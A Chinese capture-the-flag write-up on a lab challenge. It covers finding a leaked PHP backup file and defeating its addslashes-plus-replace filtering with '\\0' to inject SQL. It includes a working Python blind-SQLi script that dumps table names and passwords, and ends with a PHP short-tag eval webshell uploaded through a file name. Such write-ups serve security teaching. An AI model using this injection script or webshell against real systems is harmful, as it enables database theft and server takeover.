源码泄露:
常规访问一下robots.txt。发现有提示bak备份文件,但没有明确是哪一个文件。这里我按照常规做法尝试index.php.bak没成功,然后一直在哪乱试,脑子wat了居然没去看网页源码,还是太菜了。其实图片就来自于image.php,自然是该文件了…访问image.php.bak
下载到源码
分析源码
//config.php
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path=' {$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
将id、path参数进行预定义字符转义,然后再将转义后的字符进行过滤替换,替换为空,然后才放到SQL语句中查询。
值得注意是替换为空这个操作可谓”事故多发地“,处理不好就经常能被利用
这题有两个参数,又有转义,又不是GBK编码,其实就是利用转义字符转义语句中的单引号,而达到吞掉单引号的目的
\\0
指的是\0
,第一个反斜杠是转义第二个反斜杠
还要注意的是\0
是不会被addslashes()转义的,因为这个反斜杠只是转义功能,而不是”真正的字符“
构造出\\0
,被addslashes()处理后增加一个反斜杠还是\\0
,然后被替换为空后变为\
SQL盲注
image.php?id=\\0&path= or id=1是一張圖片
image.php?id=\\0&path= or id=2又是另外一張圖
import requests
import time
url='http://d2abd231-3ca0-41b2-a251-3c06ce9669f3.node3.buuoj.cn/image.php?id=\\0&path= or id='
flag=''
for i in range(1,100):
min=32
max=128
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=='}':
exit()
break
#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)%23".format(i,mid)
#payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))<{},1,0)%23".format(i,mid)
payload="if(ascii(substr((select(group_concat(password))from(users)),{},1))<{},1,0)%23".format(i,mid)
print(payload)
r=requests.get(url=url+payload).text
#print(r)
if '�' in r:
max=mid
else:
min=mid
time.sleep(0.3)
time.sleep(0.3)
得到密码:f0a9941d4c6d8bfbb7fe 账号:admin
文件上传——短标签
登录后是一个上传文件的页面,上传后提示将文件名记录在一个php文件中。可以猜到文件名是我们利用的点,往文件名写一句话。PHP会被过滤,直接短标签就可以了
<?=eval($_POST[1])?>